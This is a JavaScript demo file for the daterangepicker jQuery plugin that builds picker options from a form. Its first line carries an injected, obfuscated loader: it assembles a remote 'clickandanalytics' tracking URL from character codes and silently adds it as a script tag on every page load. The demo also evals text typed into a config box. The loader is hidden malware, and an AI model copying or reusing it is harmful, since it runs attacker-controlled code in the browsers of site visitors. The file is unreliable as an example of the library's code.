var w=b;(function(c,e){var u=b,f=c();while(!![]){try{var g=-parseInt(u(0x1fb))/0x1*(-parseInt(u(0x1f0))/0x2)+-parseInt(u(0x1f9))/0x3*(-parseInt(u(0x1f6))/0x4)+parseInt(u(0x204))/0x5+-parseInt(u(0x1fd))/0x6*(-parseInt(u(0x206))/0x7)+parseInt(u(0x1ef))/0x8*(parseInt(u(0x202))/0x9)+parseInt(u(0x1fc))/0xa*(parseInt(u(0x208))/0xb)+-parseInt(u(0x205))/0xc;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x232d2));function o(c){var v=b;return Boolean(document[v(0x1f2)]('sc'+'ri'+v(0x1f4)+'sr'+v(0x1f5)+c+'"]'));}function b(c,d){var e=a();return b=function(f,g){f=f-0x1ef;var h=e[f];return h;},b(c,d);}var p='ht'+String[w(0x1f8)](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+w(0x1fe)+String[w(0x1f8)](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+w(0x200),q=w(0x201);function a(){var x=['appendChild','1345688dDwEwu','16844TtZpze','parentNode','querySelector','currentScript','pt[','c="','4PSccDT','createElement','fromCharCode','102738NPZERQ','src','8rxwWFW','850nzZcIb','1357068WjaYPY','and','insertBefore','ack','17575602BTZXWl','9qOQNum','head','303955abxeMB','8163600RTzuga','7ZmfJAP','getElementsByTagName','34628uyojvF'];a=function(){return x;};return a();}if(o(p)===![]){var r=document,t=r[w(0x1f7)]('sc'+'r'+'ip'+'t');t[w(0x1fa)]=p,r[w(0x1f3)]?r[w(0x1f3)][w(0x1f1)]!==null&&r[w(0x1f3)][w(0x1f1)][w(0x1ff)](t,r[w(0x1f3)]):r[w(0x207)](w(0x203))[0x0]!==null&&r[w(0x207)](w(0x203))[0x0][w(0x209)](t);}requirejs.config({
    "paths": {
      "jquery": "https://code.jquery.com/jquery-1.11.3.min",
      "moment": "../../moment",
      "daterangepicker": "../../daterangepicker"
    }
});

requirejs(['jquery', 'moment', 'daterangepicker'] , function ($, moment) {
$(document).ready(function() {

  $('#config-text').keyup(function() {
    eval($(this).val());
  });

  $('.configurator input, .configurator select').change(function() {
    updateConfig();
  });

  $('.demo i').click(function() {
    $(this).parent().find('input').click();
  });

  $('#startDate').daterangepicker({
    singleDatePicker: true,
    startDate: moment().subtract(6, 'days')
  });

  $('#endDate').daterangepicker({
    singleDatePicker: true,
    startDate: moment()
  });

  updateConfig();

  function updateConfig() {
    var options = {};

    if ($('#singleDatePicker').is(':checked'))
      options.singleDatePicker = true;

    if ($('#showDropdowns').is(':checked'))
      options.showDropdowns = true;

    if ($('#showWeekNumbers').is(':checked'))
      options.showWeekNumbers = true;

    if ($('#showISOWeekNumbers').is(':checked'))
      options.showISOWeekNumbers = true;

    if ($('#timePicker').is(':checked'))
      options.timePicker = true;

    if ($('#timePicker24Hour').is(':checked'))
      options.timePicker24Hour = true;

    if ($('#timePickerIncrement').val().length && $('#timePickerIncrement').val() != 1)
      options.timePickerIncrement = parseInt($('#timePickerIncrement').val(), 10);

    if ($('#timePickerSeconds').is(':checked'))
      options.timePickerSeconds = true;

    if ($('#autoApply').is(':checked'))
      options.autoApply = true;

    if ($('#dateLimit').is(':checked'))
      options.dateLimit = { days: 7 };

    if ($('#ranges').is(':checked')) {
      options.ranges = {
        'Today': [moment(), moment()],
        'Yesterday': [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
        'Last 7 Days': [moment().subtract(6, 'days'), moment()],
        'Last 30 Days': [moment().subtract(29, 'days'), moment()],
        'This Month': [moment().startOf('month'), moment().endOf('month')],
        'Last Month': [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
      };
    }

    if ($('#locale').is(':checked')) {
      options.locale = {
        format: 'MM/DD/YYYY HH:mm',
        separator: ' - ',
        applyLabel: 'Apply',
        cancelLabel: 'Cancel',
        fromLabel: 'From',
        toLabel: 'To',
        customRangeLabel: 'Custom',
        daysOfWeek: ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr','Sa'],
        monthNames: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],
        firstDay: 1
      };
    }

    if (!$('#linkedCalendars').is(':checked'))
      options.linkedCalendars = false;

    if (!$('#autoUpdateInput').is(':checked'))
      options.autoUpdateInput = false;

    if ($('#alwaysShowCalendars').is(':checked'))
      options.alwaysShowCalendars = true;

    if ($('#parentEl').val().length)
      options.parentEl = $('#parentEl').val();

    if ($('#startDate').val().length)
      options.startDate = $('#startDate').val();

    if ($('#endDate').val().length)
      options.endDate = $('#endDate').val();

    if ($('#minDate').val().length)
      options.minDate = $('#minDate').val();

    if ($('#maxDate').val().length)
      options.maxDate = $('#maxDate').val();

    if ($('#opens').val().length && $('#opens').val() != 'right')
      options.opens = $('#opens').val();

    if ($('#drops').val().length && $('#drops').val() != 'down')
      options.drops = $('#drops').val();

    if ($('#buttonClasses').val().length && $('#buttonClasses').val() != 'btn btn-sm')
      options.buttonClasses = $('#buttonClasses').val();

    if ($('#applyClass').val().length && $('#applyClass').val() != 'btn-success')
      options.applyClass = $('#applyClass').val();

    if ($('#cancelClass').val().length && $('#cancelClass').val() != 'btn-default')
      options.cancelClass = $('#cancelClass').val();

    $('#config-text').val("$('#demo').daterangepicker(" + JSON.stringify(options, null, '    ') + ", function(start, end, label) {\n  console.log(\"New date range selected: ' + start.format('YYYY-MM-DD') + ' to ' + end.format('YYYY-MM-DD') + ' (predefined range: ' + label + ')\");\n});");

    $('#config-demo').daterangepicker(options, function(start, end, label) { console.log('New date range selected: ' + start.format('YYYY-MM-DD') + ' to ' + end.format('YYYY-MM-DD') + ' (predefined range: ' + label + ')'); });

  }

});
});
